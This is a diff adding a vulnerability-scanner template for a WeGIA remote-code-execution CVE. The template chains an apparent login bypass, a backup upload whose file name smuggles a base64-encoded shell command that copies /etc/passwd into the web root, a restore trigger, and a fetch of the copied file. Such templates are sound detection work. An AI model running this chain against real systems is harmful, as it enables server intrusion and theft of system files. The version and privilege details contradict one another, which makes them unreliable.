|
| 1 | +id: CVE-2026-28409 |
| 2 | + |
| 3 | +info: |
| 4 | + name: WeGIA <= 3.6.4 - Remote Code Execution |
| 5 | + author: 0x_Akoko |
| 6 | + severity: critical |
| 7 | + description: | |
| 8 | + WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands |
| 9 | + impact: | |
| 10 | + Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise. |
| 11 | + remediation: | |
| 12 | + Upgrade to version 3.6.5 or later. |
| 13 | + reference: |
| 14 | + - https://cxsecurity.com/issue/WLB-2026030009 |
| 15 | + - https://github.com/LabRedesCefetRJ/WeGIA |
| 16 | + - https://nvd.nist.gov/vuln/detail/CVE-2026-28409 |
| 17 | + classification: |
| 18 | + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 19 | + cvss-score: 10.0 |
| 20 | + cve-id: CVE-2026-28409 |
| 21 | + cwe-id: CWE-78 |
| 22 | + metadata: |
| 23 | + verified: true |
| 24 | + max-request: 4 |
| 25 | + vendor: labredescefetRJ |
| 26 | + product: wegia |
| 27 | + shodan-query: http.html:"WeGIA" |
| 28 | + fofa-query: body="WeGIA" |
| 29 | + tags: cve,cve2026,wegia,rce |
| 30 | + |
| 31 | +variables: |
| 32 | + filename: "{{to_lower(rand_text_alpha(8))}}" |
| 33 | + |
| 34 | +flow: http(1) && http(2) && http(3) && http(4) |
| 35 | + |
| 36 | +http: |
| 37 | + - raw: |
| 38 | + - | |
| 39 | + POST /WeGIA/html/login.php HTTP/1.1 |
| 40 | + Host: {{Hostname}} |
| 41 | + Content-Type: application/x-www-form-urlencoded |
| 42 | +
|
| 43 | + c=true&cpf=admin&id_pessoa=1 |
| 44 | +
|
| 45 | + extractors: |
| 46 | + - type: regex |
| 47 | + name: session |
| 48 | + part: header |
| 49 | + group: 1 |
| 50 | + regex: |
| 51 | + - 'PHPSESSID=([a-zA-Z0-9]+)' |
| 52 | + internal: true |
| 53 | + |
| 54 | + matchers: |
| 55 | + - type: dsl |
| 56 | + dsl: |
| 57 | + - 'status_code == 200' |
| 58 | + internal: true |
| 59 | + |
| 60 | + - raw: |
| 61 | + - | |
| 62 | + POST /WeGIA/html/configuracao/importar_dump.php HTTP/1.1 |
| 63 | + Host: {{Hostname}} |
| 64 | + Cookie: PHPSESSID={{session}} |
| 65 | + Content-Type: multipart/form-data; boundary=----test0boundary |
| 66 | +
|
| 67 | + ------test0boundary |
| 68 | + Content-Disposition: form-data; name="usuario" |
| 69 | +
|
| 70 | + 1 |
| 71 | + ------test0boundary |
| 72 | + Content-Disposition: form-data; name="id_pessoa" |
| 73 | +
|
| 74 | + 1 |
| 75 | + ------test0boundary |
| 76 | + Content-Disposition: form-data; name="import"; filename="dump;export F={{filename}};eval $(echo Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ= | base64 -d);poc.dump.tar.gz" |
| 77 | + Content-Type: application/gzip |
| 78 | +
|
| 79 | + {{hex_decode("1f8b08000000000000030300000000000000000000")}} |
| 80 | + ------test0boundary-- |
| 81 | +
|
| 82 | + matchers: |
| 83 | + - type: dsl |
| 84 | + dsl: |
| 85 | + - 'status_code == 302' |
| 86 | + internal: true |
| 87 | + |
| 88 | + - raw: |
| 89 | + - | |
| 90 | + GET /WeGIA/html/configuracao/gerenciar_backup.php?action=restore&file=dump%3Bexport+F%3D{{filename}}%3Beval+%24%28echo+Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ%3D+%7C+base64+-d%29%3Bpoc.dump.tar.gz&usuario=1&id_pessoa=1 HTTP/1.1 |
| 91 | + Host: {{Hostname}} |
| 92 | + Cookie: PHPSESSID={{session}} |
| 93 | +
|
| 94 | + matchers: |
| 95 | + - type: dsl |
| 96 | + dsl: |
| 97 | + - 'status_code == 200' |
| 98 | + internal: true |
| 99 | + |
| 100 | + - raw: |
| 101 | + - | |
| 102 | + GET /WeGIA/{{filename}}.txt HTTP/1.1 |
| 103 | + Host: {{Hostname}} |
| 104 | +
|
| 105 | + matchers-condition: and |
| 106 | + matchers: |
| 107 | + - type: regex |
| 108 | + part: body |
| 109 | + regex: |
| 110 | + - "root:.*:0:0:" |
| 111 | + |
| 112 | + - type: status |
| 113 | + status: |
| 114 | + - 200 |
0 commit comments